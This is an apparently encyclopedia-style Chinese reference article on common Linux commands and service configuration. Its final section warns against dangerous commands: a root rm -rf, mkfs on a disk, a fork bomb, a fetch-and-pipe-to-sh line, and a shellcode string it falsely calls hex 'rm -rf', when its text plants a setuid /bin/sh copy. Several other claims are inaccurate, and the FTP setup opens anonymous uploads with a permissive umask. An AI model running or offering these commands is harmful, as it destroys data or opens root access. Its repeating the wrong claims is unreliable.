複製鏈接
請複製以下鏈接發送給好友

linux命令

鎖定
linux命令是對Linux系統進行管理的命令。對於Linux系統來説,無論是中央處理器內存磁盤驅動器鍵盤鼠標,還是用户等都是文件,Linux系統管理的命令是它正常運行的核心,與之前的DOS命令類似。linux命令在系統中有兩種類型:內置Shell命令和Linux命令。
中文名
linux命令
定    義
Linux系統進行管理的命令
類    型
內置Shell命令和Linux命令
歸    屬
Linux系統進行管理
例    如
console

linux命令操作命令

首先介紹一個名詞“控制枱(console)”,它就是我們通常見到的使用字符操作界面的人機接口,例如dos。我們説控制枱命令,就是指通過字符界面輸入的可以操作系統的命令,例如dos命令就是控制枱命令。我們要了解的是基於Linux操作系統的基本控制枱命令。有一點一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)對大小寫是敏感的,也就是説,如果你輸入的命令大小寫不對的話,系統是不會做出你期望的響應的。

linux命令模式切換

1、 由圖形到字符#logout或init 3
2、由字符到圖形界面init 5
3、退出consolelogout或exit或ctrl+d
4、 註銷Ctrl + Alt + Backspace
5、 關機#poweroff或init 0或shutdown -h now或 halt -p
6、 重啓#reboot或init 6或shutdown -r now

linux命令獲得幫助

#help提供內部命令的幫助#man或info提供外部命令的幫助。
如果你的英文足夠好,那完全可以不靠任何人就精通linux,只要你會用man。Man實際上就是查看指令用法的help,學習任何一種UNIX類的操作系統最重要的就是學會使用man這個輔助命令。man是manual(手冊)的縮寫字,它的説明非常的詳細,但是因為它都是英文,看起來非常的頭痛。建議大家需要的時候再去看man,平常嘛,記得一些基本用法就可以了。

linux命令常用命令

linux命令tar與gzip

tar命令 [1] 
#tar [-cxtzjvfpPN] [文件與目錄....]
參數:
-c :建立一個壓縮文件的參數指令(create 的意思);
-x :解開一個壓縮文件的參數指令!
-t :查看 tarfile 裏面的文件!
特別注意,在參數的下達中, c/x/t 僅能存在一個!不可同時存在!因為不可能同時壓縮與解壓縮
-z :是否同時具有 gzip 的屬性?亦即是否需要用 gzip 壓縮?
-j :是否同時具有 bzip2 的屬性?亦即是否需要用 bzip2 壓縮?
-v :壓縮的過程中顯示文件!這個常用,但不建議用在背景執行過程!
-f :使用檔名,請留意,在 f 之後要立即接檔名喔!不要再加參數!
例如使用『 tar -zcvfP tfile sfile』就是錯誤的寫法,要寫成『 tar -zcvPf tfile sfile』才對
-p :使用原文件的原來屬性(屬性不會依據使用者而變)
-P :可以使用絕對路徑來壓縮!
-N :比後面接的日期(yyyy/mm/dd)還要新的才會被打包進新建的文件中!
--exclude FILE:在壓縮的過程中,不要將 FILE 打包!
#tar -cvf [文件名.tar] [文件……目錄]
查看包文件的內容
#tar -tf 文件名.tar
向已有的包中添加新文件
#tar -rvf [文件名.tar] [新文件……]
釋放包文件
#tar -xvf 文件名.tar
#gzip 文件名
解壓縮文件
#gzip -d 文件名.gz 
#gunzip 文件名.gz
創建壓縮包
#tar -zcvf [文件名.tar.gz] [文件1 文件2 …]
查看壓縮包中的內容
#tar -ztf 文件名.tar.gz
釋放壓縮包
#tar -zxvf 文件名.tar.gz

linux命令mount與umount

mount是Linux下的一個命令,它可以將分區作為Linux的一個“文件”掛接到Linux的一個空文件夾下,從而將分區和/mnt這個目錄聯繫起來,因此我們只要訪問這個文件夾,就相當於訪問該分區了。目前mount已經不僅僅侷限於Linux了,在Windows系統下的應用也越來越廣了,多用在虛擬光驅類軟件上,比如Clone CD,Daemon tool,WinMount等。
注意事項
  1. 必須將光盤、U盤等放入驅動器在實施掛載操作
  2. 不能在掛載目錄下實施掛載操作,至少在上一級
  3. 不能在同一目錄下掛載兩個以上的文件系統
  4. Linux預留掛載目錄為/mnt
  5. 不能在掛載目錄下實施卸載操作
  6. 掛載目錄必須事先存在
掛載光盤
#mount -t iso9660 /dev/cdrom /mnt/cdrom
卸載光盤
#umount /mnt/cdrom或#umount /dev/cdrom
掛載U盤
#mount /dev/sdb1 /mnt/usb
掛載iso鏡像
#mount -t iso9660 -o loop iso 鏡像文件 /mnt/cdrom

linux命令圖形界面和命令行界面切換

進入Ubuntu桌面環境後,可以使用鍵盤上的“Ctrl+Alt+F1~F6“組合鍵來切換不同的tty界面,Linux默認提供了6個命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切換到tty1:
/*
最上面顯示的是Ubuntu的版本計算機名稱和tty號
*/

Ubuntu 12.04.1 LTS qingsword tty1

/*
輸入用户名和密碼即可登錄tty1
*/

qingsword login: root
Password:
在命令行模式下,想要切換回圖形界面可以使用組合鍵”Ctrl+Alt+F7“。另外,如果不是從圖形界面切換到tty模式,而是系統啓動時候直接進入的命令行模式,在登陸後可以使用”startx”來啓動圖形界面。
在圖形界面下使用”Ctrl+Alt+T“可以快速啓動Linux的命令行終端。

linux命令列出目錄中的文件(LS)

在Linux命令行終端中使用的最多的命令就是這個ls,它可以幫助我們列出當前目錄下都有哪些文件,下面是一些實例:
使用pwd,查看當前是在哪個目錄中,顯示為“/home/qingsword”,這就是當前命令行所在的目錄。
[qingsword@localhost ~]$ pwd
切換到根目錄
[qingsword@localhost ~]$ cd 
查看根目錄下面都有哪些文件和文件夾
[qingsword@localhost /]$ ls
除此之外ls會顯示不同顏色,下面是這些顏色的含義:
  1. 藍色—目錄
  2. 綠色—可執行文件
  3. 紅色—壓縮文件
  4. 淺藍色—鏈接文件
  5. 粉紅色—圖片文件
  6. 黃色—設備文件
  7. 灰色—其他文件
可以切換到/dev目錄下用ls查看一下,會看到大部分為設備文件。

linux命令目錄切換(CD)

使用cd(Change Directory)命令可以在不同目錄之間切換,下面是一些實例:
當前目錄是根目錄
[qingsword@localhost /]$ pwd
使用cd切換到/dev這個目錄
[qingsword@localhost /]$ cd /dev
這條命令可以用來跳到前一個工作目錄
[qingsword@localhost dev]$ cd -
返回上一層目錄
[qingsword@localhost ~]$ cd ..

linux命令重啓和關機

使用下面的命令重啓和關機(這個命令必須使用root用户才能執行):
 /*首先切換到root權限*/

  [qingsword@localhost ~]$ su

  Password:

  /*一分鐘後關機*/

  [qingsword@localhost ~]# shutdown -h 1

  /*如果是定時關機,可以打開另外一個終端,使用下面這個命令取消關機*/

  [qingsword@localhost ~]# shutdown -c

  /*馬上關機*/

  [qingsword@localhost ~]# shutdown -h now

  /*下面這兩條命令也是馬上關機*/

  [qingsword@localhost ~]# init 0

  [qingsword@localhost ~]# poweroff

  /*下面這兩條命令都能馬上重啓*/

  [qingsword@localhost ~]# reboot

  [qingsword@localhost ~]# init 6

linux命令建新目錄

linux命令mkdir與rmdir命令

mkdir [make directory] 
rmdir [remove directory]
mkdir命令用來建立新的目錄
名稱:mkdir
使用權限:於目前目錄有適當權限的所有使用者
使用方式:mkdir[-p] dirName
説明:建立名稱為 dirName 之子目錄。
參數:-p 確保目錄名稱存在,不存在的就建一個。
範例:
在工作目錄下,建立一個名為 AAA 的子目錄 :
mkdir AAA
在工作目錄下的 BBB 目錄中,建立一個名為Test的子目錄。若 BBB目錄原本不存在,則建立一個。(注:本例若不加 -p,且原本 BBB目錄不存在,則產生錯誤。)
mkdir-p BBB/Test
rmdir 用來刪除已建立的目錄,
名稱:rmdir
使用權限:於目前目錄有適當權限的所有使用者
使用方式: rmdir [-p] dirName
説明: 刪除空的目錄。
參數: -p 是當子目錄被刪除後使它也成為空目錄的話,則順便一併刪除。
範例:
將工作目錄下,名為 AAA 的子目錄刪除 :
rmdir AAA
在工作目錄下的 BBB 目錄中,刪除名為 Test 的子目錄。若 Test 刪除後,BBB目錄成為空目錄,則 BBB 亦予刪除。
rmdir -p BBB/Test

linux命令cp

cp [copy]
這個命令相當於dos下面的copy命令,具體用法是:cp –r源文件(source) 目的文件(target)
參數r是指連同源文件中的子目錄一同拷貝。熟悉dos的讀者用起這個命令來會覺得更方便,畢竟比在dos下面要少敲兩下鍵盤。
../ 和 ./ 代表的 是上級目錄以及當前目錄。
這樣運用這兩個命令來完成兩種複製方法。
第一種:處在當前目錄複製當前目錄下文件到別的目錄。
cp_文件名稱_別的文件目錄路徑。"_"是空格
舉個例子 在 orz文件夾下有兩個子文件夾a和b,a中有文件x.c,b中無文件。
此時我們在a文件夾中命令如下:
cp x.c ../b/
第二種:處在當前文件夾下複製另外文件夾下的文件到當前文件夾下。
cp_路徑/文件名稱_./
例子條件同上個例子,命令如下:
cp ../a/x.c ./

linux命令rm

rm [remove]
這個命令是用來刪除文件的,和dos下面的rm(刪除一個空目錄)是有區別的,大家千萬要注意。rm命令常用的參數有三個: -i,-r,-f。
比如我現在要刪除一個名字為test的一個文件:rm –i test
系統會詢問我們:“rm:remove ‘test’?y”,敲了回車以後,這個文件才會真的被刪除。之所以要這樣做,是因為linux不象dos那樣有undelete的命令,或者是可以用pctool等工具將刪除過的文件救回來,linux中刪除過的文件是救不回來的,所以使用這個參數在刪除前讓你再確定一遍,是很有必要的。
rm –r目錄名:這個操作可以連同這個目錄下面的子目錄都刪除,功能上和rmdir相似。
rm –f 文件名(目錄名):這個操作可以進行強制刪除。

linux命令mv

mv[move]
這個命令的功能是移動目錄或文件,引申的功能是給目錄或文件重命名。它的用法同dos下面的move基本相同,這裏不再多講。當使用該命令來移動目錄時,他會連同該目錄下面的子目錄也一同移走。如果你想給一個文件或目錄重命名時可以用以下方法:mv 原文件名(目錄) 新的文件名(目錄)。

linux命令dudf

du [disk usage]
du命令可以顯示目前的目錄所佔的磁盤空間,df命令可以顯示目前磁盤剩餘的磁盤空間。如果du命令不加任何參數,那麼返回的是整個磁盤的使用情況,如果後面加了目錄的話,就是這個目錄在磁盤上的使用情況(這個功能可是dos沒有的呦)。不過我一般不喜歡用du,因為它給出的信息實在是太多了,我看不過來,而df這個命令我是最常用的,因為磁盤上還剩多少空間對我來説是很重要的。
語法:df [選項]
説明:linux中df命令可顯示所有文件系統對i節點和磁盤塊的使用情況。
該命令各個選項的含義如下:
-a 顯示所有文件系統的磁盤使用情況,包括0塊(block)的文件系統,如/proc文件系統。
-k 以k字節為單位顯示。
-h:以容易理解的格式輸出文件系統大小,例如124KB、345MB、46GB。
-i 顯示i節點信息,而不是磁盤塊。
-t 顯示各指定類型的文件系統的磁盤空間使用情況。
-x 列出不是某一指定類型文件系統的磁盤空間使用情況(與t選項相反)。
-T 顯示文件系統類型。
功能:檢查文件系統的磁盤空間佔用情況。可以利用該命令來獲取硬盤被佔用了多少空間,目前還剩下多少空間等信息的!

linux命令cat

cat[concatenate]
這個命令是linux中非常重要的一個命令,它的功能是顯示或連結一般的ascii文本文件。cat是concatenate的簡寫,類似於dos下面的type命令。它的用法如下:
cat text 顯示text這個文件;
cat file1 file2 依順序顯示file1,file2的內容;
cat "file1" "file2">file3 把file1,file2的內容結合起來,再“重定向(>)”到file3文件中。
“〉”是一個非常有趣的符號,是往右重定向的意思,就是把左邊的結果當成是輸入,然後輸入到file3這個文件中。這裏要注意一點是file3是在重定向以前還未存在的文件,如果file3是已經存在的文件,那麼它本身的內容被覆蓋,而變成file1+file2的內容。如果〉左邊沒有文件的名稱,而右邊有文件名,例如:
cat >file1:結果是會“空出一行空白行”,等待你輸入文字,輸入完畢後再按[Ctrl]+[c]或[Ctrl]+[d],就會結束編輯,併產生file1這個文件,而file1的內容就是你剛剛輸入的內容。這個過程和dos裏面的copy con file1的結果是一樣的。
另外,如果你使用如下的指令:
cat file1>>file2:這將變成將file1的文件內容“附加”到file2的文件後面,而file2的內容依然存在,這種重定向符〉〉比〉常用,可以多多利用。

linux命令文件指令

linux命令more與less

這是兩個顯示一般文本文件的指令。如果一個文本文件太長了超過一個屏幕的畫面,用cat來看實在是不理想,就可以試試more和less兩個指令。More指令可以使超過一頁的文件臨時停留在屏幕,等你按任何的一個鍵以後,才繼續顯示。而less除了有more的功能以外,還可以用方向鍵往上或往下的滾動文件,所以你隨意瀏覽,閲讀文章時,less是個非常好的選擇。當more或less文件不存在時,那麼該文件就會自動生個空文件,所以more和less也可以作為創建文件的用法。 [1] 
more 參數如下:
+num 從第num行開始顯示;
-num 定義屏幕大小,為num行;
+/pattern 從pattern 前兩行開始顯示;
-c 從頂部清屏然後顯示;
-d 提示Press space to continue, 'q' to quit.(按空 鍵繼續,按q鍵退出),禁用響鈴功能;
-l 忽略Ctrl+l (換頁)字符
-p 通過清除窗口而不是滾屏來對文件進行換頁。和-c參數有點相似;
-s 把連續的多個空行顯示為一行;
-u 把文件內容中的下劃線去掉
less 常用參數
de>-c 從頂部(從上到下)刷新屏幕,並顯示文件內容。而不是通過底部滾動完成刷新;
-f 強制打開文件,二進制文件顯示時,不提示警告;
-i 搜索時忽略大小寫;除非搜索串中包含大寫字母;
-I 搜索時忽略大小寫,除非搜索串中包含小寫字母;
-m 顯示讀取文件的百分比;
-M 顯法讀取文件的百分比、行號及總行數;
-N 在每行前輸出行號;
-p pattern 搜索pattern;比如在/etc/profile搜索單詞MAIL,就用 less -p MAIL /etc/profile
-s 把連續多個空白行作為一個空白行顯示;
-Q 在終端下不響鈴;de>
比如:我們在顯示/etc/profile的內容時,讓其顯示行號;
de>[root@localhost ~]# less -N /etc/profilede>

linux命令pwd

pwd [print working directory]
pwd [--help][--version]
説明:執行pwd指令可立刻得知您目前所在的工作目錄的絕對路徑名稱。

linux命令清除屏幕

linux命令clear

這個命令是用來清除屏幕的,它不需要任何參數,和dos下面的cls具有相同的功能,如果你覺得屏幕太紊亂,就可以使用它清除屏幕上的信息。

linux命令ln

ln[link]
這是linux中又一個非常重要命令,請大家一定要熟悉。它的功能是為某一個文件在另外一個位置建立一個不同的鏈接,這個命令最常用的參數是-s,具體用法是:ln –s源文件目標文件。
當我們需要在不同的目錄,用到相同的文件時,我們不需要在每一個需要的目錄下都放一個必須相同的文件,我們只要在某個固定的目錄,放上該文件,然後在其它的目錄下用ln命令鏈接(link)它就可以,不必重複的佔用磁盤空間。例如:ln –s /bin/less /usr/local/bin/less
-s 是代號(symbolic)的意思。
這裏有兩點要注意:第一,ln命令會保持每一處鏈接文件的同步性,也就是説,不論你改動了哪一處,其它的文件都會發生相同的變化;第二,ln的鏈接有軟鏈接硬鏈接兩種,軟鏈接就是ln –s ** **,它只會在你選定的位置上生成一個文件的鏡像,不會佔用磁盤空間,硬鏈接ln ** **,沒有參數-s, 它會在你選定的位置上生成一個和源文件大小相同的文件,無論是軟鏈接還是硬鏈接,文件都保持同步變化。
如果你用ls察看一個目錄時,發現有的文件後面有一個@的符號,那就是一個用ln命令生成的文件,用ls –l命令去察看,就可以看到顯示的link的路徑了。

linux命令grep

用於查找文件中符合字符串的那行。
e.g. grep -nr "network_ssl" ./ [查找當前文件夾下所有文件內容,列出包含有 network_ssl該字串的行,並顯示行號]
參數説明: -a :將 binary 文件以 text 文件的方式搜尋數據
-c :計算找到 '搜尋字符串' 的次數
-i :忽略大小寫的不同,所以大小寫視為相同
-n :順便輸出行號
-v :反向選擇,亦即顯示出沒有 '搜尋字符串' 內容的那一行!
-A NUM:同時輸出匹配行的後NUM行。
-B NUM:同時輸出匹配行的前NUM行。
-C NUM:同時輸出匹配行的前、後各NUM行。
-r :明確要求搜索子目錄:grep -r 或忽略子目錄:grep -d skip 如果有很多 輸出時,您可以通過管道將其轉到’less’上閲讀:$ grep magic /usr/src/Linux/Documentation/* | less 這樣,您就可以更方便地閲讀。

linux命令find

find / -name "*.txt" -print 用於查找所有的‘ *.txt’文件在當前目錄及子目錄中;
find / -name "[A-Z]*" -print 用於當前目錄及子目錄中查找文件名以一個大寫字母開頭的文件;
find /etc -name "host*" -print 在/etc目錄中查找文件名以host開頭的文件;
find / -name "[a-z][a-z][0--9][0--9].txt" -print 在當前目錄查找文件名以兩個小寫字母開頭,跟着是兩個數字,最後是.txt的文件;
1、find命令的一般形式為;
find pathname -options [-print -exec -ok ...]
2、find命令的參數;
pathname: find命令所查找的目錄路徑。例如用.來表示當前目錄,用/來表示系統根目錄。
-print: find命令將匹配的文件輸出到標準輸出。
-exec: find命令對匹配的文件執行該參數所給出的shell命令。相應命令的形式為'command' { } \;,注意{ }和\;之間的空格。
-ok: 和-exec的作用相同,只不過以一種更為安全的模式來執行該參數所給出的shell命令,在執行每一個命令之前,都會給出提示,讓用户來確定是否執行。
3、find命令選項
-name
按照文件名查找文件。
-perm
按照文件權限來查找文件。
-prune
使用這一選項可以使find命令不在當前指定的目錄中查找,如果同時使用-depth選項,那麼-prune將被find命令忽略。
-user
按照文件屬主來查找文件。
-group
按照文件所屬的組來查找文件。
-mtime -n +n
按照文件的更改時間來查找文件, - n表示文件更改時間距現在n天以內,+ n表示文件更改時間距現在n天以前。find命令還有-atime和-ctime 選項,但它們都和-m time選項。
-nogroup
查找無有效所屬組的文件,即該文件所屬的組在/etc/groups中不存在。
-nouser
查找無有效屬主的文件,即該文件的屬主在/etc/passwd中不存在。
-newer file1 ! file2
查找更改時間比文件file1新但比文件file2舊的文件。
-type
查找某一類型的文件
-size n:[c] 查找文件長度為n塊的文件,帶有c時表示文件長度以字節計。
-depth:在查找文件時,首先查找當前目錄中的文件,然後再在其子目錄中查找。
-fstype:查找位於某一類型文件系統中的文件,這些文件系統類型通常可以在配置文件/etc/fstab中找到,該配置文件中包含了本系統中有關文件系統的信息。
-mount:在查找文件時不跨越文件系統mount點。
-follow:如果find命令遇到符號鏈接文件,就跟蹤至鏈接所指向的文件。
-cpio:對匹配的文件使用cpio命令,將這些文件備份到磁帶設備中。
另外,下面三個的區別:
-amin n
查找系統中最後N分鐘訪問的文件
-atime n
查找系統中最後n*24小時訪問的文件
-cmin n
查找系統中最後N分鐘被改變文件狀態的文件
-ctime n
查找系統中最後n*24小時被改變文件狀態的文件
-mmin n
查找系統中最後N分鐘被改變文件數據的文件
-mtime n
查找系統中最後n*24小時被改變文件數據的文件

linux命令ar

功能説明:建立或修改備存文件,或是從備存文件中抽取文件。
語 法:ar[-dmpqrtx][cfosSuvV][a<成員文件>][b<成員文件>][i<成員文件>][備存文件][成員文件]
補充説明:ar可讓您集合許多文件,成為單一的備存文件。在備存文件中,所有成員文件皆保有原來的屬性與權限。
參 數:
指令參數
-d 刪除備存文件中的成員文件。
-m 變更成員文件在備存文件中的次序。
-p 顯示備存文件中的成員文件內容。
-q 將文件附加在備存文件末端。
-r 將文件插入備存文件中。
-t 顯示備存文件中所包含的文件。
-x 自備存文件中取出成員文件。
選項參數
a<成員文件> 將文件插入備存文件中指定的成員文件之後。
b<成員文件> 將文件插入備存文件中指定的成員文件之前。
c 建立備存文件。
f 為避免過長的文件名不兼容於其他系統的ar指令指令,因此可利用此參數,截掉要放入備存文件中過長的成員文件名稱。
i<成員文件> 將文件插入備存文件中指定的成員文件之前。
o 保留備存文件中文件的日期。
s 若備存文件中包含了對象模式,可利用此參數建立備存文件的符號表
S 不產生符號表。
u 只將日期較新文件插入備存文件中。
v 程序執行時顯示詳細的信息。

linux命令rpm

一種用於互聯網下載包的打包及安裝工具,它包含在某些Linux分發版中。它生成具有.RPM擴展名的文件,與Dpkg類似。
RPM是RedHat Package Manager(RedHat軟件包管理工具)的縮寫,這一文件格式名稱雖然打上了RedHat的標誌,但是其原始設計理念是開放式的,現在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分發版本都有采用,可以算是公認的行業標準了。
常用rpm命令
查詢rpm軟件包
rpm -q  [軟件包名]
軟件包的安裝
rpm -ivh [軟件包]
軟件包的升級
rpm -Uvh [軟件包]
軟件包的卸載
rpm -e [軟件包名]

linux命令組管理

useradd 用户名 #創建用户和組
passwd 用户名 #設置用户密碼
groupadd組名 #創建組
usermod–d路徑用户名 #修改用户宿主目錄
usermod–u uid 用户名 #修改用户的UID
usermod-s /bin/[csh] 用户名 #修改用户啓動shell
usermod-G 組名 用户名 #將用户加入組, 創建私有組
usermod-g 組名 用户名 #用户加入組但不創建私有組
gpasswd -a 用户名 組名 #同-G
gpasswd -d 用户名 組名 #將用户從組中刪除
gpasswd -A 用户名 組名 #指定用户成為組的管理員
usermod-L 用户名 #鎖定用户
passwd -l 用户名 #同上
usermod-U 用户名 #解鎖用户
passwd -u 用户名 #同上
usermod-l 新名 原名 #重命名用户
groupmod -n 新名 原名 #重命名組
userdel 用户名 #刪除用户
userdel –r 用户名 #徹底刪除,包括用户的宿主目錄
groupdel組名 #刪除組
passwd -d 用户名 #刪除用户密碼

linux命令進程服務

查看進程
#ps -aux //查看所有進程(靜態)
#top //查看動態變化的進程
將進程放在後台運行
#命令 &
查看後台運行的進程
#jobs
將後台運行的進程調入前台
#fg 編號
強制結束進程
#kill -9 PID 或#killall -9進程名
init進程是所有進程的父進程其級別如下
0 關機
1 單用户
2 多用户字符,但是不支持NFS
3 完全多用户字符
4 用户自定義
5圖形
6 重啓
查看服務啓動情況(獨立啓動方式)
#chkconfig --list //查看所有服務的啓動狀態
#chkconfig --list httpd
設置獨立啓動服務
#chkconfig --level 35 httpd on或off
設置非獨立啓動服務
#chkconfig telnet on或off#service xinetd restart
設置服務在開機時自動運行
#ntsysv

linux命令網卡設置

1、 設置ip地址(即時生效,重啓失效)
#ifconfig eth0 ip地址 netmask子網掩碼
2、 設置ip地址(重啓生效,永久生效)
#setup
3、 通過配置文件設置ip地址(重啓生效,永久生效)
#vi /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0 #設備名,與文件同名。
ONBOOT=yes #在系統啓動時,啓動本設備。
BOOTPROTO=static
IPADDR=202.118.75.91 #此網卡的IP地址
NETMASK=255.255.255.0 #子網掩碼
GATEWAY=202.118.75.1 #網關IP
MACADDR=00:02:2D:2E:8C:A8 #mac地址
4、 重啓網絡服務
#service network restart //重啓所有網卡
5、 禁用網卡,啓動網卡
#ifdown eth0
#ifup eth0
6、 屏蔽網卡,顯示網卡
#ifconfig eth0 down
#ifconfig eth0 up
7、 配置DNS客户端(最多三個)
#vi /etc/resolv.conf
nameserver 202.99.96.68
8、更改主機名(即時生效)
#hostname主機名
9、更改主機名(重啓計算機生效,永久生效)
#vi /etc/sysconfig/network
HOSTNAME=主機名

linux命令服務進程

linux命令FTP服務

1 使用setup命令開啓vsftpd服務進程。
2然後修改文件/etc/xinetd.d/vsftpd。(但vsftpd是依附於xinetd.d運行時2、3有效)
(1)把disable=yes改為=no。
(2)配置每個客户機的最大連接數
在配置文件/etc/xinetd.d/vsftpd的{}中添加如下的配置語句:
per_source = 數值。例如:per_source = 5 表示每個客户機的最大連接數為5。
在配置文件/etc/xinetd.d/vsftpd 的{}中添加如下的配置語句:
instances = 數值。例如:instances = 200 表示FTP 服務器總共支持的最高連接數為200。
(4)當vsftpd單獨運行時:要配置獨立運行的vsftpd很簡單,只需要在前面的主配置文件的基礎上添加如下的配置即可。
設置listen=YES :指明vsftpd以獨立運行方式啓動。
設置max_clients=200 :指明服務器總的併發連接數
設置max_per_ip=4 :指明每個客户機的最大連接數。
3. 配置/etc/vsftpd.conf(redhat9 是/etc/vsftpd/vsftpd.conf)文件。
# 允許真實用户(在系統中有賬號的用户)訪問
local_enable=YES
# 給真實用户寫權限
write_enable=YES
# 真實用户上傳文件的掩碼設為022。這樣真實用户上傳後的文件權限為755(rwxr-xr-x),即文件所有者可讀寫執行、同組成員可讀可執行、
# 系統中的其它用户可讀可執行。
local_umask=022
# 允許匿名用户訪問。匿名用户在系統中的賬號是ftp
anonymous_enable=YES
# 匿名用户上傳文件的掩碼設為000。這樣文件上傳後的權限為777(rwxrwxrwx),即所有人都可以讀寫執行。
anon_umask=000
# 匿名用户可上傳、可創建目錄。一下3行只有設置了write_enable=YES才有效。
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_world_readable_only=NO
# 如果想要讓匿名用户有刪除的權限可以加上如下代碼
# anon_other_write_enable=YES
# 進入每個目錄都顯示特定提示。這些提示放在各個目錄下.message文件中。
dirmessage_enable=YES
# 當用户登陸ftp服務器時,不管是否登陸成功都顯示如下信息。
ftpd_banner=Welcome to NiHao FTP service.
# 使用日誌記錄上傳和下載。
xferlog_enable=YES
# 日誌文件的位置
#xferlog_file=/var/log/vsftpd.log
#日誌使用標準fpd格式
xferlog_std_format=YES
# ftp服務的端口是20
connect_from_port_20=YES
# 用户使用ftp訪問服務器時,把他們的登陸目錄作為它們在ftp中看到的目錄,這稱為chroot。
# 這樣用户就無法訪問他們登陸目錄以外的內容,大大增強了安全性。匿名用户的登陸目錄是/var/ftp/
chroot_list_enable=YES
# 文件/etc/vsftpd.chroot_list中的用户不chroot。
chroot_list_file=/etc/vsftpd.chroot_list
# 同時最多允許5個用户登陸。
max_clients=5 #有些不支持此選項,註釋掉即可。
# ftp服務的密碼驗證模塊。
pam_service_name=vsftpd
# listen=YES #如果是獨立運行的則加此項(redhat9)。
#tcp_wrappers=YES #如果是獨立運行的則加此項(redhat9)。
4.重新啓動xinetd服務,你就可以匿名訪問你的ftp服務器了。
5 . 配置vsftpd允許匿名用户上傳
修改vsftpd的主配置文件/etc/vsftpd.conf
# vi /etc/vsftpd.conf
將如下兩行前的#刪除
① #anon_upload_enable=YES 允許匿名用户上傳
② #anon_mkdir_write_enable=YES 開啓匿名用户的寫和創建目錄的權限
若要以上兩項設置生效,同時還要求:
(1) write_enable=YES
(2) 匿名用户對文件系統的上傳目錄具有寫權限
添加如下的配置語句
#anon_world_readable_only=NO
上面的配置語句用於放開匿名用户的瀏覽權限
修改後存盤退出vi
創建匿名上傳目錄
#mkdir/var/ftp/incoming
修改上傳目錄的權限
# chmod o+w /var/ftp/incoming/
重新啓動xinetd
# service xinetd restart

linux命令Web服務

同樣在setup中選中httpd服務。www服務不需要xinetd作為它的代理進程。httpd這個進程一直在系統中運行。www服務的默認目錄是/var/www/html。只要把主頁放到這個目錄下就可以訪問了。
我們可以用建立ftp管理員的辦法建立一個www管理員wwwAdmin。只要把它的登陸目錄設為/var/www/html即可。
/etc/init.d/httpd start #啓動服務
/etc/init.d/httpd restart #重新啓動
其配置文件為/etc/httpd/conf/httpd.conf

linux命令ssh服務

SSH 是 Secure SHell protocol 的簡寫,他可以經由將聯機的封包加密的技術,來進行資料的傳遞,因此,資料當然就比較安全囉!這個 SSH 可以用來取代 Internet 上面較不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等聯機模式。底下我們將先簡介一下 SSH 的聯機模式,來説明為什麼 SSH 會比較安全呢!
特別注意:這個 SSH 協議,在預設的狀態中,本身就提供兩個服務器功能:
1. 一個就是類似 telnet 的遠程聯機使用 shell 的服務器,亦即是俗稱的 ssh ;
2. 另一個就是類似 FTP 服務的 sftp-server !提供更安全的 FTP 服務。

linux命令應用實例

#!/bin/ksh
home=`pwd`
export CLASSPATH="${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar"
LOG_FILE=${home}/log/start_data_decrypt`date +"%y%m%d"`.log
echo "LOG_FILE: " $LOG_FILE
if [ -f $LOG_FILE ]; then
FILE_LEN=`cat $LOG_FILE|wc -l`
#echo $FILE_LEN, 200000 is about 30MB
if [ $FILE_LEN -gt 200000 ]; then
mv $LOG_FILE $LOG_FILE.bak
touch $LOG_FILE
chmod o+r $LOG_FILE
fi;
fi
if [ -z ${JAVA_HOME} ] ; then
echo "Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed" >>${LOG_FILE}
exit -1
fi
echo "INFO:Generation begin .........." >>${LOG_FILE}
$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration "MT202" 2>&1 >> $LOG_FILE
echo "INFO:Generation end .........." >>${LOG_FILE}
echo "INFO:You can get original file in ${hist} .........." >>${LOG_FILE}
echo "INFO:You can get ecnrypt file in ${output} .........." >>${LOG_FILE}

linux命令危險命令

1. Code:
rm -rf \
根目錄會被擦光
2. Code:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
就是16進制的[rm -rf \]
3. Code:
mkfs.ext3 /dev/sda
抹盤行為無疑是危險的
4. Code:
:(){:|:&};:
它可以讓你的系統迅速因為處理大量數據而死機.
5. Code:
any_command > /dev /sda
這個命令將會寫入大量的RAW數據,可以導致數據丟失.
6. Code:
wget http://some_untrusted_source -O- | sh
和Windows一樣,千萬不要亂下載未經證實安全性的源
7. Code:
mv /home/yourhomedirectory/* /dev/null
這條命令無疑會讓系統抓狂,你的主目錄會再也看不到.
參考資料
  • 1.    顧潤龍,劉智濤,侯玉香.Linux操作系統及應用技術:航空工業出版社,2016.08